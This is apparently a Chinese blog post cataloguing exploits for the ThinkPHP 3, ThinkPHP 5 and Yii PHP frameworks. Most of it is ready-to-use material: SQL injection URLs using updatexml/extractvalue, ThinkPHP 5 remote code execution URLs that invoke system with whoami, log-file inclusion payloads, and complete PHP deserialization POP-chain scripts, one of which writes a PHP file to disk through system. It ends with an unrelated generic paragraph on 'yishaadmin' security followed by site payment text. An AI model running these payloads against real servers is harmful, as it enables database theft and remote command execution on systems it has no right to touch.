13_框架漏洞

框架漏洞

前言: 因为要调试每一个漏洞需要花费大量的步骤,所以我这里只列出了触发点和触发语句,某些漏洞给出了poc链

一、TP3框架漏洞

1. Parse字段注入

在tp3框架的Application\Home\Controller\IndexController.class.php里面添加test方法

public function test(){
		$id = i('id');
		$res = M('users');
		$res = $res->select($id);
		var_dump($res);
}

触发语句:
table触发点

http://www.tp3.com/index.php?m=Home&c=Index&a=test&id[table]=users%20where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)-- 1

alias触发点

http://www.tp3.com/index.php?m=Home&c=Index&a=test&id[alias]=where%201%20and%20updatexml(1,concat(0x7e,database(),0x7e),1)-- 1

field触发点

http://www.tp3.com/index.php/home/index/test?m=Home&c=Index&a=test&id[field]=*%20from%20users%20where%201=1%20and%20extractvalue(1,concat(0x7e,%20user()))%20--%201

join触发点

http://www.tp3.com/index.php/home/index/test?m=Home&c=Index&a=test&id[join][]=where%201=1%20and%20extractvalue(1,concat(0x7e,%20user()))%20--%201

where触发点

http://www.tp3.com/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)-- 1

group触发点

http://www.tp3.com/index.php?m=Home&c=Index&a=test&id[group]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)-- 1
2. Exp注入

触发点: test2方法

public function test2()
{
		$User = D('Users');

		$map = array('username' => $_GET['username']);
		// $map = array('username' => I('username'));
		$user = $User->where($map);
		$user = $user->find();
		var_dump($user);
}

触发语句:

http://www.tp3.com/index.php?m=Home&c=Index&a=test2&username[]=exp&username[]==%201%20and%20extractvalue(1,concat(0x7e,user()))%20--%201
http://www.tp3.com/index.php?m=Home&c=Index&a=test2&username[0]=in&username[1]=(extractvalue(1,concat(0x7e,%20user())))&username[2]=exp
http://www.tp3.com/index.php?m=Home&c=Index&a=test2&username[0][0]=exp&username[0][1]==%201)%20and%20extractvalue(1,concat(0x7e,%20user()))%20--%201
3. TP3缓存漏洞

触发点: test6方法
S 缓存函数

public function test6(){
		echo md5('name');
		$a=I('get.bihuo');
		S('name',$a);
}

触发语句:

http://www.tp3.com/index.php?m=Home&c=Index&a=test6&bihuo=%0a phpinfo();/*

在这里插入图片描述
在这里插入图片描述

4. TP3变量覆盖+文件包含

触发点: test7方法
需要创建Application\Home\View\Index\test7.html

public function test7(){
		$value = I('value');
		//需要控制assign对应的参数
		$this->assign($value);
		$this->display();
}

触发语句:

http://www.tp3.com/index.php?m=Home&c=Index&a=test7&value[_filename]=./Application/Runtime/Logs/Home/22_12_19.log
5. TP3反序列化漏洞

触发点: test8方法

    public function test8(){
        $input = I('input');
        $a = unserialize(base64_decode($input));
        unset($a);
    }

触发语句:
需要自己构建poc链,而且只会运行到触发的位置,后续报错不运行,因此想看那种phpinfo的直接结果的,无法直接看,但是可以利用创建另一个文件,查看是否有新文件生成,就知道是否触发漏洞

poc链

  unset($a)
	||		
1. Imagick.class.php中Imagick类的 __destruct 析构方法
	||	
2. Memcache.class.php中Memcache类的destroy方法
	||
3. Model.class.php中Model类的delete方法
	||
4. Mysql.class.php中没有delete方法,但是这个类继承 Driver类,因此可以通过实例化Mysql类,来调用Driver类里面的delete方法
	||
5. Driver.class.php中Driver类的delete方法

代码:

<?php

namespace Think\Db {
    abstract class Driver
    {
        protected $config     = array(
            'type'              =>  'mysql',     // 数据库类型
            'hostname'          =>  '127.0.0.1', // 服务器地址
            'database'          =>  'security',          // 数据库名
            'username'          =>  'root',      // 用户名
            'password'          =>  'root',          // 密码
            'hostport'          =>  '3306',        // 端口
            'dsn'               =>  '', //
            'params'            =>  array(), // 数据库连接参数
            'charset'           =>  'utf8',      // 数据库编码默认采用utf8
            'prefix'            =>  '',    // 数据库表前缀
            'debug'             =>  false, // 数据库调试模式
            'deploy'            =>  0, // 数据库部署方式:0 集中式(单一服务器),1 分布式(主从服务器)
            'rw_separate'       =>  false,       // 数据库读写是否分离 主从式有效
            'master_num'        =>  1, // 读写分离后 主服务器数量
            'slave_no'          =>  '', // 指定从服务器序号
            'db_like_fields'    =>  '',
        );
    }

}

namespace Think\Db\Driver{

    use Think\Db\Driver;

    class Mysql extends Driver{}
}
namespace Think {

    class Db
    {
    }

    class Model
    {

        protected $db = null;
        protected $data                =   array(

            'id'=>array('name'=>'bihuo','table'=>'users where 1=1 and extractvalue(1,concat(0x7e, user())) -- 1', 'where'=>'1=1'));
        public function __construct($db){
            $this->db = $db;
        }

    }
}

namespace Think\Session\Driver {
    class Memcache
    {
        protected $handle = null;

        public function __construct($handle)
        {
            $this->handle = $handle;
        }

        public function destroy($sessID)
        {
            return $this->handle->delete($this->sessionName . $sessID);
        }
    }
}

namespace Think\Image\Driver {
    class Imagick
    {
        private $img;

        public function __construct($img)
        {
            $this->img = $img;
        }

        public function __destruct()
        {
            empty($this->img) || $this->img->destroy();
        }
    }
}

namespace {

    use Think\Model;
    use Think\Session\Driver\Memcache;
    use Think\Image\Driver\Imagick;
    use Think\Db\Driver\Mysql;
    $mysql_obj = new Mysql();
    $model_obj = new Model( $mysql_obj);
    $memcache_obj = new Memcache($model_obj);
    $Imagick_obj = new Imagick($memcache_obj);
    echo base64_encode(serialize($Imagick_obj));
}

二、TP5框架漏洞

1. TP5 rce漏洞

触发语句:

http://www.tp5.com/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
http://www.tp5.com/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=whoami
2. TP5文件包含漏洞

触发语句:

http://www.tp5.com/?s=index/think\Lang/load&file=../runtime/log/202211/18.log

三、yii框架漏洞

1. yii反序列化漏洞

触发点:在yii\basic\controllers\SiteController.php中添加actionTest方法

public function actionTest($data){
	unserialize(urldecode($data));
}

poc链:

BatchQueryResult 下的__destruct方法 
	||
BatchQUeryResult下的reset方法
	||
Generator类下的__call方法
	||
generator类下的format方法
	||
CreateAction类下的run方法

代码:

<?php

namespace yii\db {

    class BatchQueryResult
    {
        private $_dataReader;

        public function __construct($_dataReader)
        {
            $this->_dataReader = $_dataReader;
        }

        public function __destruct()
        {
            $this->reset();
        }

        public function reset()
        {
            if ($this->_dataReader !== null) {
                $this->_dataReader->close();
            }
            $this->_dataReader = null;
            $this->_batch = null;
            $this->_value = null;
            $this->_key = null;
        }


    }

}


namespace Faker{

    class Generator
    {
        protected $formatters = array();

        public function __construct($formatters){
            $this->formatters = $formatters;
        }

        public function __call($method, $attributes)
        {
            return $this->format($method, $attributes);
        }

        public function format($formatter, $arguments = array())
        {
            return call_user_func_array($this->getFormatter($formatter), $arguments);
        }

        public function getFormatter($formatter)
        {
            if (isset($this->formatters[$formatter])) {
                return $this->formatters[$formatter];
            }
            foreach ($this->providers as $provider) {
                if (method_exists($provider, $formatter)) {
                    $this->formatters[$formatter] = array($provider, $formatter);

                    return $this->formatters[$formatter];
                }
            }
            throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
        }

    }


}


namespace yii\base{
    class Action{
        public $id;
        public function __construct($id){
            $this->id = $id;
        }
    }
}

namespace yii\rest{

    use yii\helpers\Url;
    use yii\web\ServerErrorHttpException;


    class Action extends \yii\base\Action{
//        public $modelClass = '\yii\base\Model';
        public $checkAccess;
        public function __construct($id, $checkAccess)
        {
            $this->checkAccess = $checkAccess;
            parent::__construct($id);
        }

    }

    class CreateAction extends Action
    {
        public function run()
        {
            if ($this->checkAccess) {
                call_user_func($this->checkAccess, $this->id);
            }

            /* @var $model \yii\db\ActiveRecord */
            $model = new $this->modelClass([
                'scenario' => $this->scenario,
            ]);

            $model->load(Yii::$app->getRequest()->getBodyParams(), '');
            if ($model->save()) {
                $response = Yii::$app->getResponse();
                $response->setStatusCode(201);
                $id = implode(',', array_values($model->getPrimaryKey(true)));
                $response->getHeaders()->set('Location', Url::toRoute([$this->viewAction, 'id' => $id], true));
            } elseif (!$model->hasErrors()) {
                throw new ServerErrorHttpException('Failed to create the object for unknown reason.');
            }

            return $model;
        }
    }


}

namespace {

    use yii\rest\CreateAction;
    use Faker\Generator;
    use yii\db\BatchQueryResult;
    $createAction_obj = new CreateAction('echo ^<?php phpinfo();?^> > C:/2022_11_21.php', 'system');
    $generator_obj = new Generator(array('close'=>array($createAction_obj, 'run')));
    $batchqueryres_obj = new BatchQueryResult($generator_obj);

    echo urlencode(serialize($batchqueryres_obj));
}
yishaadmin框架是一个Web应用程序框架,用于开发和管理网站。然而,它也存在一些漏洞,可能导致安全风险和数据泄露。 首先,yishaadmin框架可能存在身份验证和授权漏洞。未经正确的身份验证和授权,攻击者可能能够绕过登录界面,并访问敏感信息或执行未经授权的操作。 其次,yishaadmin框架可能存在输入验证和过滤不足的漏洞。攻击者可以通过提交恶意的输入数据,如SQL注入、跨站脚本攻击等,来破坏应用程序的正常功能或获取敏感信息。 此外,yishaadmin框架在文件上传和下载功能上可能存在安全漏洞。攻击者可能利用漏洞上传恶意文件,如木马程序或病毒,来危害服务器和用户设备。 另外,yishaadmin框架可能缺乏安全日志记录和监控机制,导致无法及时发现和应对潜在的安全威胁。 为了防止yishaadmin框架漏洞的利用,应该采取以下安全措施: 1. 定期更新yishaadmin框架,并及时修复已知的安全漏洞。 2. 对用户输入进行严格的验证和过滤,以防止恶意代码注入。 3. 强化访问控制和权限管理,确保只有授权用户能够访问敏感功能和数据。 4. 加强文件上传和下载功能的安全性,限制文件类型、大小和上传路径,并进行安全扫描。 5. 实施安全日志记录和监控机制,能够及时发现和应对异常活动和潜在的攻击。 6. 对开发人员进行安全培训,提高其对漏洞和攻击的意识,遵循安全最佳实践。 综上所述,yishaadmin框架存在一些漏洞,但通过采取相应的安全措施可以减少安全风险,保护网站和用户的安全。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值